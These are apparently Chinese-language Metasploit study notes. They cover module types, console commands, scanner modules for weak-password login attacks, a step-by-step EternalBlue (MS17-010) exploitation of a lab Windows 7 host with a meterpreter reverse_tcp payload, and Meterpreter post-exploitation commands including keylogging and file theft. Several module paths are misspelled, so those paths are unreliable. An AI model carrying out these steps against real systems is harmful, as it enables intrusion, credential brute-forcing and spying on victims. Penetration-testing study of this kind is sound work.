Metasploit
模块
- Auxiliaries (辅助模块):该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅 探、指纹识别等相关功能以辅助渗透测试
- Exploit (漏洞利用模块):漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞进行的 攻击行为。
- Payload (攻击载荷模块 ):攻击载荷是我们期望 目标系统在被渗透攻击之后完成实际攻击功能的代码,成 功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,在Metasploit框 架中可以自由地选择、传送和植入。
- Post (后期渗透模块):该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作, 如获取敏感信息、实施跳板攻击等。
- Encoders (编码工具模块):该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、 IDS及类似的安全 软件检测出来。
基础命令:
- show exploits:寻找可用的渗透攻击模块.
- show auxiliary:寻找辅助模块(扫描器,拒绝服务攻击,Fuzz测试等)
- show options: 查看模块所需的所有参数配置.
- show payloads :显示当前模块相兼容的攻击载荷
- show targets:列出模块受漏洞影响的目标操作系统类型.
- info :详细输出模块信息
- set,unset:模块中有些参数为必填项(required),利用此命令设置参数,或禁用参数.
- setg,unsetg:对全局参数进行设置或清除.
- save :将setg命令设置的全局参数保存,以便下次开启msf使用
主机扫描
端口扫描
- 使用search 搜索 portscan
- use加模块名或编号使用该模块,show options查看要设置的参数.
- set 参数名 参数内容,设置参数.run开始攻击
辅助服务扫描模块
- search搜索scanner 会有大量的扫描模块.
常见服务:
| 模块 | 功能 |
|---|---|
| auxiliary/scanner/portscan | 端口扫描 |
| auxiliary/scanner/smb_version | SMB系统版本 |
| auxiliary/scanner/smb/smb_enumusers | smb枚举 |
| auxiliary/scanner/smb/smb_login | smb弱口令登录 |
| auxiliary/adrnin/smb/psexec_command | SMB 登录且执行命令 |
| auxiliary/scanner/ssh/ssh_login | ssh服务** |
| scanner/mssql/mssqI _ping | MSSQL 主机信息扫描 |
| admin/mssql/mssql_enum | MSSQL 枚举 |
| admin/rnssql/mssql_exec | MSSQL 执行命令 |
| admin/mssql/mssql_sql | MSSQL 查询 |
| scanner/mssql/rnssql_login | MSSQL 弱口令扫描 |
| auxiliary/admin/mysql/mysql_enum | MySQL 枚举 |
| auxiliary/admin/mysql/rnysql_sql | MySQL 语句执行 |
| auxiliary/scanner/mysql/mysql _login | MySQL 弱口令扫描 |
| auxiliary/scanner/smtp/smtp_version | SMTP 版本扫描 |
| auxiliary/scanner/smtp/smtp_enum | SMTP 枚举 |
| auxiliary/scanner/snmp/community | SNMP 扫描设备 |
| auxiliary/scanner/telnet/telnet_login | TELNET ** |
| scanner/vnc/vnc none auth | VNC 空口令扫描 |
ms17-010 永恒之蓝
- 进入msfconsole,search ms17-010
- 使用1模块:auxiliary/scanner/smb/smb_ms17_010 搜索存在漏洞的主机.
- 设置参数,开始攻击,找到目标(IP:192.168.186.246. win 7)
- 使用exploit/windows/smb/ms17_010_eternalblue 模块,show targets查看目标操作系统.
- info查看详细信息,并设置参数.
- 设置payload,show payloads 查看载荷.并设置为set payload windows/x64/meterpreter/reverse_tcp ,设置载荷相关参数.
- run实施攻击
8. 输入shell得到拿到shell.
Meterpreter
在使用meterpreter之前必须拿到一个meterpreter shell.
基本命令:
- screenshot:截屏,截取目标用户的桌面
- sysinfo:获取目标系统信息
- ps:获取目标系统运行的程序
- migrate:将会话移至某进程中.
- run post/windows/capture/keylog_recorder :获取键盘记录(CTRL C 终止)
| 命令 | 含义 |
|---|---|
| 基本命令 | |
| background | 将终端隐藏在后台 |
| sessions | 查看获取的会话,-i 命令继续与会话交互 |
| quit | 关闭会话 |
| shell | 获取目标系统的控制台shell |
| irb | 与ruby终端进行交互,也可通过附加组件railgun与windows API交互 |
| 文件命令 | |
| cat | 查看文件内容 |
| getwd | 查看当前目录 |
| upload | 上传文件 |
| download | 下载文件(双斜杠) |
| edit | 调用vi编辑器对目标文件进行编辑 |
| search | 搜索目标系统文件 |
| 网络命令 | |
| ipconfig | 目标网络接口信息 |
| portfwd | 端口转发器(在目标端口开放不允许直接访问的情况下使用) |
| route | 目标路由信息 |
| 系统命令 | |
| ps | 目标正在运行的进程信息 |
| migrate | 将会话移植到另一个进程中 |
| execute | 执行目标系统的文件 |
| getpid | 当前会话的pid值 |
| kill | 终止指定的pid程序 |
| getuid | 获取会话的用户名 |
| sysinfo | 目标系统信息 |
| shutdown | 关机 |